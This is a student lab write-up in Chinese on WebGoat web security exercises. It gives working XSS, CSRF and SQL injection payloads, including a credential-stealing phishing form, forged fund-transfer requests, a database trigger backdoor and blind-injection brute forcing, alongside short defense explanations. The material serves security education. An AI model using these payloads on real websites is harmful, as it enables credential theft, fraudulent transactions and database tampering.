20145208 蔡野 《网络对抗》Exp9 web安全基础实践

  • 本实践的目标理解常用网络攻击技术的基本原理。Webgoat实践下相关实验。

实验后回答问题

(1)SQL注入攻击原理,如何防御

  • 攻击原理:利用输入的机会构造自己期望的请求,比如破坏掉用户名或者密码验证进行登录,还有对数据库增删查改的基本操作。
  • 防御:利用输入规则限制进行防御,不允许特殊字符输入

(2)XSS攻击的原理,如何防御

  • 攻击原理:XSS又称CSS,全称Cross SiteScript,跨站脚本攻击,XSS攻击类似于SQL注入攻击,将攻击代码写在url或者数据库存储里面,诱使别人访问从而运行代码。
  • 防御:和sql注入防御类似(永远不相信用户的输入)。需要对用户的输入进行处理,只允许输入合法的值,其它值一概过滤掉。如果有时候不能过滤的话,就将敏感的字符进行替换,让代码失去本来的样子,在读取的时候在替换回来。

(3)CSRF攻击原理,如何防御

  • 攻击原理:CSRF全名是Cross-site request forgery,是一种对网站的恶意利用,CSRF比XSS更具危险性。CSRF可以劫持会话和cookie来冒名进行 一些操作,比如实验中的转账。
  • 防御:通过验证码来检测用户提交,尽量不要在页面的链接中暴露用户隐私信息,对于用户修改删除等操作最好都使用post 操作 ,避免全站通用的cookie,严格设置cookie的域。

实验总结与体会

  • 感觉sql注入和xxs攻击都很好很强大,做的有点停不下来,感觉特别有用!一口气做了12个,剩下的自己有时间再做,先把博客发了。

实践过程

webgoat安装

  • 这部分在老师的指导(就指导了安装这一个事情)和周岐浩的博客里面说的很清楚,可以直接参考,我也不多做说明了。
  • ps:校网下载安装包是真的慢。。。还经常出现错误下载终止逼得我开流量下载了。我把下载好的安装包上传到网盘分享在这里,有需要的可以下载一些,虽然百度网盘也不快下载链接。放心,链接没有sql注入什么的~

实践过程

XSS注入攻击

Phishing with XSS

  • 这个很简单,就是在文本框里面写一个钓鱼网站代码就可以了
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
  • 提交后如图:

  • 成功!

Stored XSS Attacks

  • 这个超简单,在message里面随便输入点什么让别人不愉快的东西就可以了,比如一个玩笑弹窗
<script>
alert("Had this been a real attack...hehe just joke");
</script>
  • 效果如图:

Reflected XSS Attacks

  • 根据题意和提示在下面文本框中输入http://www.targetserver.com/search.asp?input=<script>alert("hello");</script>,我选择的最后一个文本框输入
  • 提交后入图弹出来窗口:

  • 看上去和上面很类似,但是原理不同,上面的是存储式的,这个是通过写在url里面达到的效果,里面的脚本也可以改写成其他恶意的内容

CSRF攻击

Cross Site Request Forgery (CSRF)

  • 这个实践是利用cookie冒名登录,用代码伪造请求
  • 在message里面输入<img src=' attack?Screen=自己网站的scr &menu=自己网站的menu &transferFunds=转钱数额 ' width='1' height='1'>就会发出一个转钱的请求,盗取钱财。

CSRF Prompt By-Pass

  • 这个就是利用CSRF进行冒名操作转账,填入message的代码如下:
<iframe
src="attack?Screen=273&menu=900&transferFunds=5000"
id="myFrame" frameborder="1" marginwidth="0"
marginheight="0" width="800" scrolling=yes height="300"
onload="document.getElementById('frame2').src='attack?Screen=282&menu=900&transferFunds=CONFIRM';">
</iframe> <iframe
id="frame2" frameborder="1" marginwidth="0"
marginheight="0" width="800" scrolling=yes height="300">
</iframe>

SQL注入攻击

Numeric SQL Injection

  • 老师课上没做出来的,用老师的步骤一下子就成功了,看来是老师电脑今天不配合,挽尊!

Log Spoofing

  • 利用换行符伪造一个假的日志信息,欺骗人眼。

String SQL Injection

  • 这个就是之前网页sql注入的方法,在输入名字那里构造永真式,输入'or 1='1

SQL Injection

Stage 1 String SQL Injection
  • 在密码栏中输入' or 1=1 --来让密码规则破坏,但是登录不成功,抓包发现密码字段变了:

  • 发现问题在这,有长度限制,修改一下重新尝试成功了管理员neville:

Stage 3 Numeric SQL Injection
  • 这里要求我们登陆larry后能浏览Neville的profile信息,登陆larry后,可以发现能浏览员工信息的就是ViewProfile按钮,我们抓包分析这个按钮提交的参数:

  • 然后将id字段改成101 or 1=1 order by salary desc --走一下,回到网页发现成功了:

Database Backdoors

  • 第一步,通过输入101; update employee set salary=70000来给id为101的人改工资(真好!):

  • 第二步:留一个后门,让所有新用户的邮箱都是我的,工资都邮到我这里来吧!101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='caiye@qq.com' WHERE userid = NEW.userid

Blind Numeric SQL Injection

  • 我们知道一个cc_number=1111222233334444,但是想知道其pin在pins表里的值,可以使用盲注进行爆破,输入101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );
  • 然后使用BP进行拦截,拦截后action--send to intruder进行爆破,使用sniper模式,选择10000进行数字爆破(选择前先clear将默认的爆破点清除),从1到10000,步长为1,时间会很久:

  • 可以发现返回报文的长度从2364开始改变了,所以尝试用2364进行请求,返回成功.那么其pin就为2364,输入2364,成功!

Blind String SQL Injection

  • 跟上面的那个盲注入类似,猜测cc_number='4321432143214321'的用户名,使用了SQL里的SUBSTRING这个函数,每一个字母进行爆破,原理和数字盲注一样:101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) = 'h' );
  • 因为有两个爆破点,一个是SubString函数的第二个参数,一个是字母h,所以使用Cluster Bomb进行爆破
  • 爆破点1 是1-10 10个可能性
  • 爆破点2 是a-z和A-Z 52个可能性,

  • 一共520种组合,时间还算可以接受:

  • 可以发现规律,正常是数字为10时报文长度为1334,因为10比1-9多一位;但有一些不是10报文长度也是1334,查看返回报文是Account number is valid,即有效账户,所以爆破得到了账户名。
  • 用户名是通过上图结果拼接而成,前面的数字代表后门字母在用户名中的位置:

20145208 蔡野 《网络对抗》Exp9 web安全基础实践的更多相关文章

  1. 20155211 网络对抗 Exp9 Web安全基础实践

    20155211 网络对抗 Exp9 Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语 ...

  2. 20145326蔡馨熤《网络对抗》—— Web安全基础实践

    20145326蔡馨熤<网络对抗>—— Web安全基础实践 1.实验后回答问题 (1)SQL注入攻击原理,如何防御. 原理: SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程 ...

  3. 20145330 《网络对抗》 Web安全基础实践

    20145330 <网络对抗> Web安全基础实践 1.实验后回答问题 (1)SQL注入攻击原理,如何防御 SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字 ...

  4. 20145219《网络对抗》Web安全基础实践

    20145219<网络对抗>Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL ...

  5. 20155326《网络对抗》Web安全基础实践

    20155326<网络对抗>Web安全基础实践 实验后回答的问题 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是在Web应用对后台数据库查询语句处理存在的安全漏洞,通过构建特殊 ...

  6. 20145308 《网络对抗》Web安全基础实践 学习总结

    20145308 <网络对抗> Web安全基础实践 学习总结 实验内容 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 基础问题回答 (1)SQL注入攻击原理, ...

  7. 20155206《网络对抗》Web安全基础实践

    20155206<网络对抗>Web安全基础实践 实验后问题回答 (1)SQL注入攻击原理,如何防御 攻击原理:SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查 ...

  8. 20155305《网络对抗》Web安全基础实践

    20155305<网络对抗>Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL ...

  9. 20155307《网络对抗》Web安全基础实践

    20155307<网络对抗>Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL ...

  10. 20155311《网络对抗》Web安全基础实践

    20155311<网络对抗>Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL ...

随机推荐

  1. 再次 WebAssembly 技术探讨

    上次说到你可以将C代码编译成web调用的js文件,当时,很兴奋.哈哈,我也误以为是系统级别的C编程呢! 哎,今天,告诉你一个残酷的事实是,只是C语言级别,不是系统级别.因为WebAssembly目标是 ...

  2. easyui combobox 动态加载数据C#

    <script type="text/javascript" src="Scripts/jquery-1.8.2.min.js"></scri ...

  3. 关于事件循环机制event loop

    setTimeout(()=> { console.log('settimeout') },100) console.log('开始') console.log('结束') new Promis ...

  4. rsync+inotify磁盘数据实时同步

    一.rsync+inotify主服务器部署 1.1安装rsync [root@nginx ~]# cd /usr/src/ [root@nginx src]# tar zxvf rsync-3.0.9 ...

  5. LeetCode141.环形链表

    给定一个链表,判断链表中是否有环. 进阶:你能否不使用额外空间解决此题? /** * Definition for singly-linked list. * class ListNode { * i ...

  6. sqlserver Distributed Transaction 分布式事务

    在webapi+ef+sqlserver开发项目时,利用transcope实现应用层级的事务时,偶尔会报分布式事务错误,而且很而复现,特别蛋疼.现将自己的解决方法初步整理下. 分析原因:搭建repos ...

  7. 软工网络15团队作业4——Alpha阶段敏捷冲刺7.0

    1.每天举行站立式会议,提供当天站立式会议照片一张. 2.项目每个成员的昨天进展.存在问题.今天安排. 成员 昨天已完成 今天计划完成 郭炜埕 实现前端各界面的跳转连接 学习后端相关知识 郑晓丽 完善 ...

  8. java.security.NoSuchAlgorithmException: AES KeyGenerator not available

    异常信息 Caused by: Java.lang.IllegalStateException: Unable to acquire AES algorithm. This is required t ...

  9. Redis入门——Java接口

    1. maven配置 <dependency> <groupId>redis.clients</groupId> <artifactId>jedis&l ...

  10. AtCoder Beginner Contest 084(AB)

    A - New Year 题目链接:https://abc084.contest.atcoder.jp/tasks/abc084_a Time limit : 2sec / Memory limit  ...